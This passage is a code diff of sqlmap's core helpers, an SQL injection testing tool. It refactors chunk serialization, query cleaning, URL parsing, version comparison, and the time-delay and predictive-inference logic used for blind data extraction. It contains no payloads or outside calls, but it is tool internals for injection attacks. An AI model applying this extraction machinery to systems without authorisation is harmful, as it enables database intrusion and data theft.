with os.fdopen(handle, "w+b") as f:
|
||||
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
# serializeValue() returns text; encode to bytes for the compressed on-disk chunk
|
||||
f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
@@ -240,9 +238,10 @@ class BigArray(list):
|
||||
pass
|
||||
|
||||
if not (self.cache and self.cache.index == index):
|
||||
from lib.core.convert import deserializeValue
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||
self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -361,8 +360,9 @@ class BigArray(list):
|
||||
if cache_index == idx and cache_data is not None:
|
||||
data = cache_data
|
||||
else:
|
||||
from lib.core.convert import deserializeValue
|
||||
with open(chunk, "rb") as f:
|
||||
data = pickle.loads(zlib.decompress(f.read()))
|
||||
data = deserializeValue(zlib.decompress(f.read()))
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
|
||||
+220
-130
@@ -53,14 +53,14 @@ from lib.core.compat import LooseVersion
|
||||
from lib.core.compat import RecursionError
|
||||
from lib.core.compat import round
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import base64pickle
|
||||
from lib.core.convert import base64unpickle
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import deserializeValue
|
||||
from lib.core.convert import decodeHex
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.convert import serializeValue
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
@@ -71,8 +71,10 @@ from lib.core.datatype import OrderedSet
|
||||
from lib.core.decorators import cachedmethod
|
||||
from lib.core.defaults import defaults
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.dicts import DBWIRE_MODULES
|
||||
from lib.core.dicts import DEFAULT_DOC_ROOTS
|
||||
from lib.core.dicts import DEPRECATED_OPTIONS
|
||||
from lib.core.dicts import HTML_ENTITIES
|
||||
from lib.core.dicts import OBSOLETE_OPTIONS
|
||||
from lib.core.dicts import SQL_STATEMENTS
|
||||
from lib.core.enums import ADJUST_TIME_DELAY
|
||||
@@ -181,6 +183,7 @@ from lib.core.settings import STRUCTURAL_ID_REGEX
|
||||
from lib.core.settings import STRUCTURAL_TAG_REGEX
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import TEXT_TAG_REGEX
|
||||
from lib.core.settings import TIME_OUTLIER_MAD_COEFF
|
||||
from lib.core.settings import TIME_STDEV_COEFF
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import UNKNOWN_DBMS_VERSION
|
||||
@@ -188,7 +191,6 @@ from lib.core.settings import URI_QUESTION_MARKER
|
||||
from lib.core.settings import URLENCODE_CHAR_LIMIT
|
||||
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import VERSION_COMPARISON_CORRECTION
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import ZIP_HEADER
|
||||
from lib.core.settings import WEBSCARAB_SPLITTER
|
||||
@@ -200,7 +202,7 @@ from thirdparty.clientform.clientform import ParseResponse
|
||||
from thirdparty.clientform.clientform import ParseError
|
||||
from thirdparty.colorama.initialise import init as coloramainit
|
||||
from thirdparty.magic import magic
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
from thirdparty.six.moves import configparser as _configparser
|
||||
@@ -628,7 +630,9 @@ def paramToDict(place, parameters=None):
|
||||
if place in conf.parameters and not parameters:
|
||||
parameters = conf.parameters[place]
|
||||
|
||||
parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters)
|
||||
# Note: shield real HTML entities (e.g. & — ’) from being split on the '&'/';' delimiter;
|
||||
# match a named entity of any length but only when it is a genuine one, so a plain "&word;" still splits
|
||||
parameters = re.sub(r"&(\w+);", lambda match: "%s%s%s" % (PARAMETER_AMP_MARKER, match.group(1), PARAMETER_SEMICOLON_MARKER) if match.group(1) in HTML_ENTITIES else match.group(0), parameters)
|
||||
if place == PLACE.COOKIE:
|
||||
splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)
|
||||
else:
|
||||
@@ -1525,6 +1529,8 @@ def cleanQuery(query):
|
||||
|
||||
>>> cleanQuery("select id from users")
|
||||
'SELECT id FROM users'
|
||||
>>> cleanQuery("select a from selected where b='from'")
|
||||
"SELECT a FROM selected WHERE b='from'"
|
||||
"""
|
||||
|
||||
retVal = query
|
||||
@@ -1540,10 +1546,11 @@ def cleanQuery(query):
|
||||
if not candidate or candidate.lower() not in queryLower:
|
||||
continue
|
||||
|
||||
queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query)
|
||||
|
||||
if queryMatch and "sys_exec" not in query:
|
||||
retVal = retVal.replace(queryMatch.group(1), candidate.upper())
|
||||
if "sys_exec" not in query:
|
||||
# NOTE: the leading branch consumes whole quoted parts (hence keeping keyword-alike data
|
||||
# and case sensitive quoted identifiers intact), while the keyword itself is switched only
|
||||
# at word boundaries (e.g. 'selected' must not turn into 'SELECTed')
|
||||
retVal = re.sub(r"(?i)('[^']*'|\"[^\"]*\")|\b%s\b" % candidate, lambda match: match.group(1) or candidate.upper(), retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1582,15 +1589,16 @@ def setPaths(rootPath):
|
||||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
|
||||
# sqlmap files
|
||||
paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.tx_")
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||
paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
|
||||
paths.COMMON_PARAMETERS = os.path.join(paths.SQLMAP_TXT_PATH, "common-params.txt")
|
||||
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
|
||||
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
|
||||
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
|
||||
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
||||
paths.BROTLI_DICTIONARY = os.path.join(paths.SQLMAP_TXT_PATH, "brotli-dictionary.tx_")
|
||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||
@@ -1715,7 +1723,7 @@ def parseTargetDirect():
|
||||
try:
|
||||
conf.dbms = dbmsName
|
||||
|
||||
if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
if dbmsName in (DBMS.ACCESS, DBMS.SQLITE):
|
||||
if remote:
|
||||
warnMsg = "direct connection over the network for "
|
||||
warnMsg += "%s DBMS is not supported" % dbmsName
|
||||
@@ -1750,12 +1758,14 @@ def parseTargetDirect():
|
||||
elif dbmsName == DBMS.ACCESS:
|
||||
__import__("pyodbc")
|
||||
elif dbmsName == DBMS.FIREBIRD:
|
||||
__import__("kinterbasdb")
|
||||
__import__("firebirdsql")
|
||||
except (SqlmapSyntaxException, SqlmapMissingDependence):
|
||||
raise
|
||||
except:
|
||||
if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
|
||||
pass
|
||||
elif dbmsName in DBWIRE_MODULES: # our dependency-free pure-python 'dbwire' client covers this DBMS
|
||||
pass
|
||||
else:
|
||||
errMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||
errMsg += "in order to directly connect to the DBMS "
|
||||
@@ -1805,7 +1815,17 @@ def parseTargetUrl():
|
||||
errMsg += "in the hostname part"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
|
||||
netloc = urlSplit.netloc
|
||||
|
||||
# Note: strip any URL userinfo ('user:pass@') so it is not mistaken for host:port (as the proxy
|
||||
# parser already does). Credentials embedded in the URL are NOT applied - '--auth-cred' is the
|
||||
# supported way to pass HTTP authentication - so warn rather than silently dropping them.
|
||||
if '@' in netloc:
|
||||
if not any((conf.get("authType"), conf.get("authCred"), conf.get("authFile"))):
|
||||
singleTimeWarnMessage("credentials in the target URL are ignored. Use '--auth-cred' for HTTP authentication")
|
||||
netloc = netloc.rsplit('@', 1)[-1]
|
||||
|
||||
hostnamePort = netloc.split(":") if not re.search(r"\[.+\]", netloc) else filterNone((re.search(r"\[.+\]", netloc).group(0), re.search(r"\](:(?P<port>\d+))?", netloc).group("port")))
|
||||
|
||||
conf.scheme = (urlSplit.scheme.strip().lower() or "http")
|
||||
conf.path = urlSplit.path.strip()
|
||||
@@ -1950,19 +1970,21 @@ def getLimitRange(count, plusOne=False):
|
||||
|
||||
if kb.dumpTable:
|
||||
if conf.limitStart and conf.limitStop and conf.limitStart > conf.limitStop:
|
||||
limitStop = conf.limitStart
|
||||
limitStop = min(conf.limitStart, count) # a '--start' beyond the table must not request out-of-range offsets (phantom rows)
|
||||
limitStart = conf.limitStop
|
||||
reverse = True
|
||||
else:
|
||||
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
|
||||
limitStop = conf.limitStop
|
||||
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||
# NOTE: no '<= limitStop' gate - a '--start' past the row count must yield an EMPTY range
|
||||
# (correctly skipping past every row), not silently fall back to dumping the whole table
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop)
|
||||
|
||||
if reverse:
|
||||
if reverse and len(retVal): # len() guard: a clamped out-of-range '--start' can leave the range empty
|
||||
retVal = xrange(retVal[-1], retVal[0] - 1, -1)
|
||||
|
||||
return retVal
|
||||
@@ -1993,7 +2015,10 @@ def parseUnionPage(page):
|
||||
entry = entry.split(kb.chars.start)[-1]
|
||||
|
||||
if kb.unionDuplicates:
|
||||
key = entry.lower()
|
||||
# Note: de-dup on the EXACT entry, not entry.lower() - the doubled emission repeats each
|
||||
# row verbatim, so case-folding here would silently drop genuinely case-distinct rows
|
||||
# (e.g. 'Admin' vs 'admin'). Force-uppercased pages are already lower-cased before parsing.
|
||||
key = entry
|
||||
if key not in keys:
|
||||
keys.add(key)
|
||||
else:
|
||||
@@ -2099,7 +2124,9 @@ def getFileType(filePath):
|
||||
desc = getText(desc)
|
||||
|
||||
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
|
||||
content = openFile(filePath, "rb", encoding=None).read()
|
||||
_ = openFile(filePath, "rb", encoding=None)
|
||||
content = _.read()
|
||||
_.close()
|
||||
|
||||
try:
|
||||
content.decode()
|
||||
@@ -2342,9 +2369,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
|
||||
infoMsg = "static words: "
|
||||
|
||||
if firstPage and secondPage:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
try:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input / interpreter-level hiccups; skip
|
||||
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
|
||||
commonWords = None
|
||||
else:
|
||||
commonWords = None
|
||||
|
||||
@@ -2598,31 +2630,23 @@ def calculateDeltaSeconds(start):
|
||||
|
||||
def initCommonOutputs():
|
||||
"""
|
||||
Initializes dictionary containing common output values used by "good samaritan" feature
|
||||
Initializes the per-context dictionary of common identifier names used by the
|
||||
predictive-inference feature to shortcut blind table/column name enumeration.
|
||||
Sourced directly from the curated '--common-tables'/'--common-columns' wordlists
|
||||
(real-world, app-focused names); prediction only ever reorders the charset or
|
||||
confirms a whole value, so it never penalizes a miss.
|
||||
|
||||
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
|
||||
>>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"]
|
||||
True
|
||||
"""
|
||||
|
||||
kb.commonOutputs = {}
|
||||
key = None
|
||||
|
||||
with openFile(paths.COMMON_OUTPUTS, 'r') as f:
|
||||
for line in f:
|
||||
if line.find('#') != -1:
|
||||
line = line[:line.find('#')]
|
||||
|
||||
line = line.strip()
|
||||
|
||||
if len(line) > 1:
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
key = line[1:-1]
|
||||
elif key:
|
||||
if key not in kb.commonOutputs:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
if line not in kb.commonOutputs[key]:
|
||||
kb.commonOutputs[key].add(line)
|
||||
for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
|
||||
try:
|
||||
kb.commonOutputs[key] = set(getFileItems(path))
|
||||
except SqlmapSystemException:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||
"""
|
||||
@@ -2666,19 +2690,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un
|
||||
|
||||
return retVal if not unique else list(retVal.keys())
|
||||
|
||||
def goGoodSamaritan(prevValue, originalCharset):
|
||||
def predictValue(prevValue, originalCharset):
|
||||
"""
|
||||
Function for retrieving parameters needed for common prediction (good
|
||||
samaritan) feature.
|
||||
Predictive-inference helper: given the value retrieved so far (prefix), consult the
|
||||
per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common-
|
||||
tables/common-columns wordlists) to shortcut blind extraction.
|
||||
|
||||
prevValue: retrieved query output so far (e.g. 'i').
|
||||
|
||||
Returns commonValue if there is a complete single match (in kb.partRun
|
||||
of txt/common-outputs.txt under kb.partRun) regarding parameter
|
||||
prevValue. If there is no single value match, but multiple, commonCharset is
|
||||
returned containing more probable characters (retrieved from matched
|
||||
values in txt/common-outputs.txt) together with the rest of charset as
|
||||
otherCharset.
|
||||
Returns commonValue when a single wordlist entry matches the prefix (the whole value
|
||||
can be confirmed in one request); otherwise commonCharset holds the more probable
|
||||
next characters (reordered ahead of otherCharset) so the bisection converges faster.
|
||||
"""
|
||||
|
||||
if kb.commonOutputs is None:
|
||||
@@ -2737,7 +2759,7 @@ def goGoodSamaritan(prevValue, originalCharset):
|
||||
def getPartRun(alias=True):
|
||||
"""
|
||||
Goes through call stack and finds constructs matching
|
||||
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns')
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -2864,6 +2886,38 @@ def wasLastResponseHTTPError():
|
||||
threadData = getCurrentThreadData()
|
||||
return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID
|
||||
|
||||
def stripTimeOutliers(values):
|
||||
"""
|
||||
Returns L{values} with high (spike) outliers removed, using a robust median/MAD cutoff.
|
||||
|
||||
A single network spike that lands in the time-response model would otherwise inflate both the
|
||||
average and the standard deviation, exploding the delay threshold (avg + 7*stdev) so that genuine
|
||||
time-delays are no longer recognized. MAD is robust to a minority of outliers, so the cutoff is
|
||||
computed from the clean bulk even when the sample already contains a spike. On a clean model no
|
||||
value exceeds median + 10*MAD, so it is returned unchanged (identical avg/stdev/threshold).
|
||||
|
||||
>>> len(stripTimeOutliers([0.1, 0.12] * 8 + [9.0])) # a lone 9s spike is dropped (17->16)
|
||||
16
|
||||
>>> len(stripTimeOutliers([0.1, 0.12] * 8)) # a clean model is left intact (no-op)
|
||||
16
|
||||
"""
|
||||
|
||||
if not values or len(values) < MIN_TIME_RESPONSES // 2:
|
||||
return values
|
||||
|
||||
ordered = sorted(values)
|
||||
median = ordered[len(ordered) // 2]
|
||||
mad = sorted(abs(_ - median) for _ in values)[len(values) // 2]
|
||||
|
||||
if mad <= 0: # degenerate (near-constant model) - nothing robust to trim on
|
||||
return values
|
||||
|
||||
cutoff = median + TIME_OUTLIER_MAD_COEFF * 1.4826 * mad
|
||||
retVal = [_ for _ in values if _ <= cutoff]
|
||||
|
||||
# never trim away the bulk (guards a genuinely wide/bimodal model from being gutted)
|
||||
return retVal if len(retVal) >= max(MIN_TIME_RESPONSES // 2, len(values) // 2) else values
|
||||
|
||||
def wasLastResponseDelayed():
|
||||
"""
|
||||
Returns True if the last web request resulted in a time-delay
|
||||
@@ -2873,7 +2927,10 @@ def wasLastResponseDelayed():
|
||||
# response times should be inside +-7*stdev([normal response times])
|
||||
# Math reference: http://www.answers.com/topic/standard-deviation
|
||||
|
||||
deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, []))
|
||||
# spike outliers (e.g. a GC pause / retransmit during baseline sampling) are stripped first, so a
|
||||
# single lagging response can't inflate the model and hide every genuine delay behind it
|
||||
sample = stripTimeOutliers(kb.responseTimes.get(kb.responseTimeMode, []))
|
||||
deviation = stdev(sample)
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
if deviation and not conf.direct and not conf.disableStats:
|
||||
@@ -2882,7 +2939,7 @@ def wasLastResponseDelayed():
|
||||
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
|
||||
logger.warning(warnMsg)
|
||||
|
||||
lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation
|
||||
lowerStdLimit = average(sample) + TIME_STDEV_COEFF * deviation
|
||||
retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit))
|
||||
|
||||
if not kb.testMode and retVal:
|
||||
@@ -2944,7 +3001,12 @@ def extractErrorMessage(page):
|
||||
|
||||
if match:
|
||||
candidate = htmlUnescape(match.group("result")).replace("<br>", "\n").strip()
|
||||
if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO):
|
||||
# Note: only the generic '(fatal|error|warning|exception): ...' regexes can capture
|
||||
# arbitrary prose, so guard those with the non-writing-char ratio; the specific
|
||||
# DBMS-signature regexes (e.g. MSSQL 'Unclosed quotation mark ...') are definitive and
|
||||
# must not be discarded just because the message happens to read like plain text
|
||||
generic = "(fatal|error|warning|exception)" in regex
|
||||
if candidate and (not generic or 1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO):
|
||||
retVal = candidate
|
||||
break
|
||||
|
||||
@@ -3310,7 +3372,16 @@ def isNumPosStrValue(value):
|
||||
|
||||
return retVal
|
||||
|
||||
@cachedmethod
|
||||
# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
|
||||
# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
|
||||
# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
|
||||
# setdefault in dict order preserves the original first-match-wins semantics.
|
||||
_DBMS_ALIAS_MAP = {}
|
||||
for _dbmsKey, _dbmsItem in DBMS_DICT.items():
|
||||
for _dbmsAlias in _dbmsItem[0]:
|
||||
_DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
|
||||
_DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
|
||||
|
||||
def aliasToDbmsEnum(dbms):
|
||||
"""
|
||||
Returns major DBMS name from a given alias
|
||||
@@ -3319,15 +3390,7 @@ def aliasToDbmsEnum(dbms):
|
||||
'Microsoft SQL Server'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
if dbms:
|
||||
for key, item in DBMS_DICT.items():
|
||||
if dbms.lower() in item[0] or dbms.lower() == key.lower():
|
||||
retVal = key
|
||||
break
|
||||
|
||||
return retVal
|
||||
return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
|
||||
|
||||
def findDynamicContent(firstPage, secondPage, merge=False):
|
||||
"""
|
||||
@@ -3349,7 +3412,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
|
||||
infoMsg = "searching for dynamic content"
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
try:
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can blow up on pathological/oversized input (and, rarely, with
|
||||
# interpreter-level errors under heavy threading); a failed dynamic-content
|
||||
# search must degrade gracefully rather than abort the whole scan - mirrors the
|
||||
# guard around the ratio computation in lib/request/comparison.py
|
||||
return
|
||||
|
||||
if not merge:
|
||||
kb.dynamicMarkings = []
|
||||
@@ -3490,42 +3560,40 @@ def isDBMSVersionAtLeast(minimum):
|
||||
if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
||||
version = Backend.getVersion().replace(" ", "").rstrip('.')
|
||||
|
||||
correction = 0.0
|
||||
# Note: a fuzzy/ranged detected version (e.g. '>2', '<2') is captured as a sign so an
|
||||
# otherwise-equal comparison still resolves in the right direction
|
||||
vSign = 0
|
||||
if ">=" in version:
|
||||
pass
|
||||
elif '>' in version:
|
||||
correction = VERSION_COMPARISON_CORRECTION
|
||||
vSign = 1
|
||||
elif '<' in version:
|
||||
correction = -VERSION_COMPARISON_CORRECTION
|
||||
vSign = -1
|
||||
|
||||
version = extractRegexResult(r"(?P<result>[0-9][0-9.]*)", version)
|
||||
|
||||
if version:
|
||||
if '.' in version:
|
||||
parts = version.split('.', 1)
|
||||
parts[1] = filterStringValue(parts[1], '[0-9]')
|
||||
version = '.'.join(parts)
|
||||
minimum = minimum if isinstance(minimum, six.string_types) else getUnicode(minimum)
|
||||
|
||||
try:
|
||||
version = float(filterStringValue(version, '[0-9.]')) + correction
|
||||
except ValueError:
|
||||
return None
|
||||
mSign = 0
|
||||
if minimum.startswith(">="):
|
||||
pass
|
||||
elif minimum.startswith(">"):
|
||||
mSign = 1
|
||||
|
||||
if isinstance(minimum, six.string_types):
|
||||
if '.' in minimum:
|
||||
parts = minimum.split('.', 1)
|
||||
parts[1] = filterStringValue(parts[1], '[0-9]')
|
||||
minimum = '.'.join(parts)
|
||||
minimum = extractRegexResult(r"(?P<result>[0-9][0-9.]*)", minimum)
|
||||
|
||||
correction = 0.0
|
||||
if minimum.startswith(">="):
|
||||
pass
|
||||
elif minimum.startswith(">"):
|
||||
correction = VERSION_COMPARISON_CORRECTION
|
||||
if minimum:
|
||||
# Note: compare dotted versions component-wise as int tuples, not as floats; a float
|
||||
# collapses e.g. 5.4.3->5.43 and 5.10.0->5.100(==5.1), silently mis-ordering multi-part
|
||||
# or multi-digit-minor versions (MariaDB 10.11, PostgreSQL 9.10, Presto 0.99 vs 0.178)
|
||||
vParts = tuple(int(_) for _ in re.findall(r"\d+", version))
|
||||
mParts = tuple(int(_) for _ in re.findall(r"\d+", minimum))
|
||||
length = max(len(vParts), len(mParts))
|
||||
vParts += (0,) * (length - len(vParts))
|
||||
mParts += (0,) * (length - len(mParts))
|
||||
|
||||
minimum = float(filterStringValue(minimum, '[0-9.]')) + correction
|
||||
|
||||
retVal = version >= minimum
|
||||
retVal = (vParts, vSign) >= (mParts, mSign)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -3666,8 +3734,8 @@ def setOptimize():
|
||||
Sets options turned on by switch '-o'
|
||||
"""
|
||||
|
||||
# conf.predictOutput = True
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive
|
||||
# inference is now an inherent, always-on part of blind name enumeration (no longer a switch)
|
||||
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||
|
||||
@@ -3739,6 +3807,8 @@ def initTechnique(technique=None):
|
||||
if data:
|
||||
kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place)
|
||||
kb.matchRatio = data.matchRatio
|
||||
kb.trueLength = data.get("trueLength") # NOTE: absent in sessions stored before the '--lengths' switch was introduced
|
||||
|
||||
kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE)
|
||||
|
||||
# Restoring stored conf options
|
||||
@@ -3833,7 +3903,7 @@ def joinValue(value, delimiter=','):
|
||||
"""
|
||||
|
||||
if isListLike(value):
|
||||
retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value)
|
||||
retVal = delimiter.join(getText(getUnicode(_) if _ is not None else "None") for _ in value)
|
||||
else:
|
||||
retVal = value
|
||||
|
||||
@@ -3975,8 +4045,9 @@ def decodeIntToUnicode(value):
|
||||
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
|
||||
elif Backend.isDbms(DBMS.MSSQL):
|
||||
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
|
||||
retVal = getUnicode(raw, "UTF-16-BE")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
|
||||
# supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct
|
||||
retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA, DBMS.SPANNER): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/); Spanner via TO_CODE_POINTS
|
||||
retVal = _unichr(value)
|
||||
else:
|
||||
retVal = getUnicode(raw, conf.encoding)
|
||||
@@ -4232,14 +4303,19 @@ def decodeStringEscape(value):
|
||||
|
||||
>>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b"
|
||||
True
|
||||
>>> decodeStringEscape(chr(92) + chr(0)) == chr(92) + chr(0) # a NUL in the data must be preserved, not rewritten to a backslash
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
if value and '\\' in value:
|
||||
charset = "\\%s" % string.whitespace.replace(" ", "")
|
||||
for _ in charset:
|
||||
retVal = retVal.replace(repr(_).strip("'"), _)
|
||||
# Note: single left-to-right pass so an escaped backslash ('\\\\') shields the next char
|
||||
# (a literal '\\n' stays '\\n', not a newline) WITHOUT a sentinel that could collide with a
|
||||
# pre-existing byte (e.g. a NUL in the data) and get rewritten on restore
|
||||
_mapping = dict((repr(_).strip("'"), _) for _ in string.whitespace.replace(" ", ""))
|
||||
_mapping["\\\\"] = "\\"
|
||||
retVal = re.sub("|".join(re.escape(_) for _ in ["\\\\"] + list(_mapping)), lambda match: _mapping[match.group(0)], retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -4414,7 +4490,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
|
||||
if isinstance(name, six.string_types):
|
||||
retVal = getUnicode(name)
|
||||
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
|
||||
# Resolve the identified DBMS once; it is invariant within this call and
|
||||
# Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
|
||||
# re-evaluated several times below.
